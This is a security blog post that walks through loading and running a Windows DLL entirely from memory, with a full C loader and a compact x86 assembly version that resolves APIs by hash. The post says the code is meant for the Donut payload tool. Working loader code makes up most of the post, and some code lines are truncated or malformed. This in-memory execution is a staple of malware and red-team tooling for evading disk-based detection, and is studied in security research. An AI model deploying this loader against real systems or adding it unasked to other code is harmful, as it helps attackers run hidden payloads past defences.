



← Windows Process Injection : Windows Notification Facility

Shellcode: In-Memory Execution of JavaScript, VBScript, JScript and XSL →

## Shellcode: In-Memory Execution of DLL

Posted on [June 24, 2019](#)

### Introduction

In March 2002, the infamous group 29A published their sixth e-zine. One of the articles titled [In-Memory PE EXE Execution](#) by ZOMBiE demonstrated how to manually load and run a Portable Executable entirely from memory. The InMem client provided as a PoC downloads a PE from a remote TFTP server into memory and after some basic preparation executes the entrypoint. Of course, running console and GUI applications from memory

### Recent Posts

- [MiniDumpWriteDump via COM+ Services DLL](#)
- [Windows Process Injection: Asynchronous Procedure Call \(APC\)](#)
- [Windows Process Injection: KnownDlls Cache Poisoning](#)
- [Windows Process Injection: Tooltip or Common Controls](#)
- [Windows Process Injection: Breaking BaDDer](#)
- [Windows Process Injection: DNS Client API](#)

isn't that straightforward because Microsoft Windows consists of subsystems. Try manually executing a console application from inside a GUI subsystem without using `NtCreateProcess` and it will probably cause an unhandled exception crashing the host process. Unless designed for a specific subsystem, running a DLL from memory is relatively error-free and simple to implement, so this post illustrates just that with C and x86 assembly.

## Proof of Concept

ZoMBiE didn't seem to perform any other research beyond a PoC, however, Yoda did write a tool called `InConEx` that was published in 29A#7 ca. 2004. Since then, various other implementations have been published, but they all seem to be derived in one form or another from the original PoC and use the following steps.

1. Allocate RWX memory for size of image. (`VirtualAlloc`)
2. Copy each section to RWX memory.
3. Initialize the import table. (`LoadLibrary/GetProcAddress`)
4. Apply relocations.
5. Execute entry point.

Today, some basic loaders will also handle resources and TLS callbacks. The following is example in C based on ZoMBiE's article.

```
typedef struct _IMAGE_RELOC {  
    WORD offset :12;  
    WORD type   :4;  
} IMAGE_RELOC, *PIMAGE_RELOC;
```

- [Windows Process Injection: Multiple Provider Router \(MPR\) DLL and Shell Notifications](#)
- [Windows Process Injection: Winsock Helper Functions \(WSHX\)](#)
- [Shellcode: In-Memory Execution of JavaScript, VBScript, JScript and XSL](#)
- [Shellcode: In-Memory Execution of DLL](#)
- [Windows Process Injection : Windows Notification Facility](#)
- [How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code](#)
- [Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy](#)
- [Windows Process Injection: CLIPBRDWNDCLASS](#)
- [Shellcode: Using the Exception Directory to find GetProcAddress](#)
- [Shellcode: Loading .NET Assemblies From Memory](#)
- [Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline](#)
- [Shellcode: A reverse shell for Linux in C with support for TLS/SSL](#)
- [Windows Process Injection: Print Spooler](#)
- [How the Lopht \(probably\) optimized attack against the LanMan hash.](#)

```
typedef BOOL (WINAPI *DllMain_t)(HINSTANCE hinstDLL, DWORD fdwReason,
typedef VOID (WINAPI *entry_exe)(VOID);
```

```
VOID load_dllx(LPVOID base);
```

```
VOID load_dll(LPVOID base) {
    PIMAGE_DOS_HEADER      dos;
    PIMAGE_NT_HEADERS      nt;
    PIMAGE_SECTION_HEADER  sh;
    PIMAGE_THUNK_DATA      oft, ft;
    PIMAGE_IMPORT_BY_NAME  ibn;
    PIMAGE_IMPORT_DESCRIPTOR imp;
    PIMAGE_RELOC           list;
    PIMAGE_BASE_RELOCATION  ibr;
    DWORD                 rva;
    PBYTE                 ofs;
    PCHAR                 name;
    HMODULE                dll;
    ULONG_PTR             ptr;
    DllMain_t             DllMain;
    LPVOID                 cs;
    DWORD                 i, cnt;

    dos = (PIMAGE_DOS_HEADER)base;
    nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);

    // 1. Allocate RWX memory for file
    cs = VirtualAlloc(
        NULL, nt->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
```

- [A Guide to ARM64 / AArch64 Assembly on Linux with Shellcodes and Cryptography](#)
- [Windows Process Injection: ConsoleWindowClass](#)
- [Windows Process Injection: Service Control Handler](#)
- [Windows Process Injection: Extra Window Bytes](#)
- [Windows Process Injection: PROPagate](#)
- [Shellcode: Encrypting traffic](#)
- [Shellcode: Synchronous shell for Linux in ARM32 assembly](#)
- [Windows Process Injection: Sharing the payload](#)
- [Windows Process Injection: Writing the payload](#)
- [Shellcode: Synchronous shell for Linux in amd64 assembly](#)
- [Shellcode: Synchronous shell for Linux in x86 assembly](#)
- [Stopping the Event Logger via Service Control Handler](#)
- [Shellcode: Encryption Algorithms in ARM Assembly](#)
- [Shellcode: A Tweetable Reverse Shell for x86 Windows](#)
- [Polymorphic Mutex Names](#)
- [Shellcode: Linux ARM \(AArch64\)](#)
- [Shellcode: Linux ARM Thumb mode](#)
- [Shellcode: Windows API hashing with block ciphers \( Maru Hash \)](#)
- [Using Windows Schannel for Covert Communication](#)

```

// 2. Copy each section to RWX memory
sh = IMAGE_FIRST_SECTION(nt);

for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
    memcpy((PBYTE)cs + sh[i].VirtualAddress,
           (PBYTE)base + sh[i].PointerToRawData,
           sh[i].SizeOfRawData);
}

// 3. Process the Import Table
rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
imp = RVA2VA(PIMAGE_IMPORT_DESCRIPTOR, cs, rva);

// For each DLL
for (; imp->Name!=0; imp++) {
    name = RVA2VA(PCHAR, cs, imp->Name);

    // Load it
    dll = LoadLibrary(name);

    // Resolve the API for this library
    oft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->OriginalFirstThunk);
    ft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->FirstThunk);

    // For each API
    for (;;) { oft++, ft++ }
    // No API left?
    if (oft->u1.AddressOfData == 0) break;

    PULONG_PTR func = (PULONG_PTR)&ft->u1.Function;

```

- Shellcode: x86 optimizations part 1
- WanaCryptor File Encryption and Decryption
- Shellcode: Dual Mode (x86 + amd64) Linux shellcode
- Shellcode: Fido and how it resolves GetProcAddress and LoadLibraryA
- Shellcode: Dual mode PIC for x86 (Reverse and Bind Shells for Windows)
- Shellcode: Solaris x86
- Shellcode: Mac OSX amd64
- Shellcode: Resolving API addresses in memory
- Shellcode: A Windows PIC using RSA-2048 key exchange, AES-256, SHA-3
- Shellcode: Execute command for x32/x64 Linux / Windows / BSD
- Shellcode: Detection between Windows/Linux/BSD on x86 architecture
- Shellcode: FreeBSD / OpenBSD amd64
- Shellcode: Linux amd64
- Shellcodes: Executing Windows and Linux Shellcodes
- DLL/PIC Injection on Windows from Wow64 process
- Asmcodes: Platform Independent PIC for Loading DLL and Executing Commands

```

        // Resolve by ordinal?
        if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) {
            *func = (ULONG_PTR)GetProcAddress(dll, (LPCSTR)IMAGE_ORDINAL(
        } else {
            // Resolve by name
            ibn = RVA2VA(PIMAGE_IMPORT_BY_NAME, cs, oft->u1.AddressOfName);
            *func = (ULONG_PTR)GetProcAddress(dll, ibn->Name);
        }
    }
}

// 4. Apply Relocations
rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASE].VirtualAddress;
ibr = RVA2VA(PIMAGE_BASE_RELOCATION, cs, rva);
ofs = (PBYTE)cs - nt->OptionalHeader.ImageBase;

while(ibr->VirtualAddress != 0) {
    list = (PIMAGE_RELOC)(ibr + 1);

    while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) {
        if(list->type == IMAGE_REL_TYPE) {
            *(ULONG_PTR*)((PBYTE)cs + ibr->VirtualAddress + list->offset) += ofs;
        }
        list++;
    }
    ibr = (PIMAGE_BASE_RELOCATION)list;
}

// 5. Execute entrypoint
DllMain = RVA2VA(DllMain_t, cs, nt->OptionalHeader.AddressOfEntryPoint);
DllMain(cs, DLL_PROCESS_ATTACH, NULL);
}

```

## x86 assembly

Using the exact same logic except implemented in hand-written assembly ... for illustration of course!.

```
; DLL loader in 306 bytes of x86 assembly (written for fun)
; odzhan
```

```
%include "ds.inc"

bits    32

struc _ds
    .VirtualAlloc      resd 1 ; edi
    .LoadLibraryA      resd 1 ; esi
    .GetProcAddress    resd 1 ; ebp
    .AddressOfEntryPoint resd 1 ; esp
    .ImportTable        resd 1 ; ebx
    .BaseRelocationTable resd 1 ; edx
    .ImageBase         resd 1 ; ecx
endstruc

%ifndef BIN
    global load_dllx
    global _load_dllx
%endif
```

```

load_dllx:
_load_dllx:
    pop     eax                ; eax = return address
    pop     ebx                ; ebx = base of PE file
    push    eax                ; save return address on stack
    pushad                   ; save all registers
    call    init_api           ; load address of api hash onto stack
    dd      0x38194E37          ; VirtualAlloc
    dd      0xFA183D4A          ; LoadLibraryA
    dd      0x4AAC90F7          ; GetProcAddress

init_api:
    pop     esi                ; esi = api hashes
    pushad                   ; allocate 32 bytes of memory for _ds
    mov     edi, esp           ; edi = _ds
    push    TEB.ProcessEnvironmentBlock
    pop     ecx
    cdq                        ; eax should be < 0x80000000

get_apis:
    lodsd                     ; eax = hash
    pushad
    mov     eax, [fs:ecx]
    mov     eax, [eax+PEB.Ldr]
    mov     edi, [eax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY]
    jmp     get_dll

next_dll:
    mov     edi, [edi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY]

get_dll:
    mov     ebx, [edi+LDR_DATA_TABLE_ENTRY.DllBase]
    mov     eax, [ebx+IMAGE_DOS_HEADER.e_lfanew]
    ; ecx = IMAGE_DATA_DIRECTORY.VirtualAddress
    mov     ecx, [ebx+eax+IMAGE_NT_HEADERS.OptionalHeader + \
                  IMAGE_OPTIONAL_HEADER32.DataDirectory + \

```

```
IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_  
IMAGE_DATA_DIRECTORY.VirtualAddress]
```

```
jecxz next_dll  
; esi = offset IMAGE_EXPORT_DIRECTORY.NumberOfNames  
lea esi, [ebx+ecx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]  
lodsd  
xchg eax, ecx  
jecxz next_dll ; skip if no names  
; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions  
lodsd  
add eax, ebx ; ebp = RVA2VA(eax, ebx)  
xchg eax, ebp ;  
; edx = IMAGE_EXPORT_DIRECTORY.AddressOfNames  
lodsd  
add eax, ebx ; edx = RVA2VA(eax, ebx)  
xchg eax, edx ;  
; esi = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals  
lodsd  
add eax, ebx ; esi = RVA(eax, ebx)  
xchg eax, esi  
get_name:  
pushad  
mov esi, [edx+ecx*4-4] ; esi = AddressOfNames[ecx-1]  
add esi, ebx ; esi = RVA2VA(eax, ebx)  
xor eax, eax ; eax = 0  
cdq ; h = 0  
hash_name:  
lodsb  
add edx, eax  
ror edx, 8  
dec eax  
jns hash_name
```



```

cmp    edx, [esp + _eax + pushad_t_size]    ; hashes match?
popad
loopne get_name                ; --ecx && edx != hash
jne    next_dll                ; get next DLL
movzx  eax, word [esi+ecx*2]    ; eax = AddressOfNameOrdinals[eax]
add    ebx, [ebp+eax*4]        ; ecx = base + AddressOfFunctions|
mov    [esp+_eax], ebx
popad                            ; restore all
stosd
inc    edx
jnp    get_apis                ; until PF = 1

; dos = (PIMAGE_DOS_HEADER)ebx
push   ebx
add    ebx, [ebx+IMAGE_DOS_HEADER.e_lfanew]
add    ebx, ecx
; esi = &nt->OptionalHeader.AddressOfEntryPoint
lea    esi, [ebx+IMAGE_NT_HEADERS.OptionalHeader + \
            IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint -
movsd   ; [edi+ 0] = AddressOfEntryPoint
mov     eax, [ebx+IMAGE_NT_HEADERS.OptionalHeader + \
            IMAGE_OPTIONAL_HEADER32.DataDirectory + \
            IMAGE_DIRECTORY_ENTRY_IMPORT * IMAGE_DATA_DIRECTORY + \
            IMAGE_DATA_DIRECTORY.VirtualAddress - 30h]
stosd   ; [edi+ 4] = Import Directory Table RVA
mov     eax, [ebx+IMAGE_NT_HEADERS.OptionalHeader + \
            IMAGE_OPTIONAL_HEADER32.DataDirectory + \
            IMAGE_DIRECTORY_ENTRY_BASERELOC * IMAGE_DATA_DIRECTORY + \
            IMAGE_DATA_DIRECTORY.VirtualAddress - 30h]
stosd   ; [edi+ 8] = Base Relocation Table RVA
lodsd   ; skip BaseOfCode
lodsd   ; skip BaseOfData

```

```

movsd          ; [edi+12] = ImageBase
; cs = VirtualAlloc(NULL, nt->OptionalHeader.SizeOfImage,
;             MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
push PAGE_EXECUTE_READWRITE
xchg cl, ch
push ecx
push dword[esi + IMAGE_OPTIONAL_HEADER32.SizeOfImage - \
              IMAGE_OPTIONAL_HEADER32.SectionAlignment]

push 0          ; NULL
call dword[esp + _ds.VirtualAlloc + 5*4]
xchg eax, edi   ; edi = cs
pop esi         ; esi = base

; load number of sections
movzx ecx, word[ebx + IMAGE_NT_HEADERS.FileHeader + \
              IMAGE_FILE_HEADER.NumberOfSections - 30h]

; edx = IMAGE_FIRST_SECTION()
movzx edx, word[ebx + IMAGE_NT_HEADERS.FileHeader + \
              IMAGE_FILE_HEADER.SizeOfOptionalHeader - 30h]

lea edx, [ebx + edx + IMAGE_NT_HEADERS.OptionalHeader - 30h]
map_section:
pushad
add edi, [edx + IMAGE_SECTION_HEADER.VirtualAddress]
add esi, [edx + IMAGE_SECTION_HEADER.PointerToRawData]
mov ecx, [edx + IMAGE_SECTION_HEADER.SizeOfRawData]
rep movsb
popad
add edx, IMAGE_SECTION_HEADER_size
loop map_section
mov ebp, edi
; process the import table
pushad

```

```

    mov     ecx, [esp + _ds.ImportTable + pushad_t_size]
    jecxz   imp_l2
    lea     ebx, [ecx + ebp]
imp_l0:
    ; esi / oft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->OriginalFirstThunk)
    mov     esi, [ebx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
    add     esi, ebp
    ; edi / ft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->FirstThunk);
    mov     edi, [ebx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
    add     edi, ebp
    mov     ecx, [ebx+IMAGE_IMPORT_DESCRIPTOR.Name]
    add     ebx, IMAGE_IMPORT_DESCRIPTOR_size
    jecxz   imp_l2
    add     ecx, ebp          ; name = RVA2VA(PCHAR, cs, imp->Name);
    ; dll = LoadLibrary(name);
    push    ecx
    call    dword[esp + _ds.LoadLibraryA + 4 + pushad_t_size]
    xchg    edx, eax          ; edx = dll
imp_l1:
    lodsd                    ; eax = oft->u1.AddressOfData, oft++;
    xchg    eax, ecx
    jecxz   imp_l0           ; if (oft->u1.AddressOfData == 0) break;
    btr     ecx, 31
    jc      imp_Lx           ; IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)
    ; RVA2VA(PIMAGE_IMPORT_BY_NAME, cs, oft->u1.AddressOfData)
    lea     ecx, [ebp + ecx + IMAGE_IMPORT_BY_NAME.Name]
imp_Lx:
    ; eax = GetProcAddress(dll, ecx);
    push    edx
    push    ecx
    push    edx
    call    dword[esp + _ds.GetProcAddress + 3*4 + pushad_t_size]

```

```

    pop    edx
    stosd                      ; ft->ul.Function = eax
    jmp    imp_l1
imp_l2:
    popad
    ; ibr = RVA2VA(PIMAGE_BASE_RELOCATION, cs, dir[IMAGE_DIRECTORY\
    mov    esi, [esp + _ds.BaseRelocationTable]
    add    esi, ebp
    ; ofs = (PBYTE)cs - opt->ImageBase;
    mov    ebx, ebp
    sub    ebp, [esp + _ds.ImageBase]
reloc_L0:
    ; while (ibr->VirtualAddress != 0) {
    lodsd                      ; eax = ibr->VirtualAddress
    xchg    eax, ecx
    jecxz   call_entrypoint
    lodsd                      ; skip ibr->SizeOfBlock
    lea     edi, [esi + eax - 8]
reloc_L1:
    lodsw                      ; ax = *(WORD*)list;
    and     eax, 0xFFF          ; eax = list->offset
    jz      reloc_L2           ; IMAGE_REL_BASED_ABSOLUTE is used for p
    add     eax, ecx            ; eax += ibr->VirtualAddress
    add     eax, ebx            ; eax += cs
    add     [eax], ebp          ; *(DWORD*)eax += ofs
    ; ibr = (PIMAGE_BASE_RELOCATION)list;
reloc_L2:
    ; (PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock
    cmp     esi, edi
    jne     reloc_L1
    jmp     reloc_L0
call_entrypoint:

```

```

%ifndef EXE
    push    ecx                ; lpvReserved
    push    DLL_PROCESS_ATTACH ; fdwReason
    push    ebx                ; HINSTANCE
    ; DllMain = RVA2VA(entry_exe, cs, opt->AddressOfEntryPoint);
    add     ebx, [esp + _ds.AddressOfEntryPoint + 3*4]
%else
    add     ebx, [esp + _ds.AddressOfEntryPoint]
%endif
    call    ebx
    popad                   ; release _ds
    popad                   ; restore registers
    ret

```

Running a DLL from memory isn't difficult if we ignore the export table, resources, TLS and subsystem. The only requirement is that the DLL has a relocation section. The C generated assembly will be used in a new version of [Donut](#) while sources in this post can be [found here](#).

---

#### Share this:



Be the first to like this.

---

#### Related

Shellcode: In-Memory  
Execution of JavaScript,  
VBScript, JScript and XSL  
In "assembly"

Shellcode: Loading .NET  
Assemblies From Memory  
In "assembly"

Windows Process Injection:  
Writing the payload  
In "assembly"

This entry was posted in [assembly](#), [injection](#), [programming](#), [security](#), [shellcode](#), [windows](#) and tagged [DLL](#), [EXE](#), [in-memory](#), [x86 assembly](#). Bookmark the [permalink](#).

← Windows Process Injection : Windows  
Notification Facility

Shellcode: In-Memory Execution of JavaScript, VBScript,  
JScript and XSL →

## Leave a Reply

Enter your comment here...

---

**modexp**

*Blog at WordPress.com.*

☺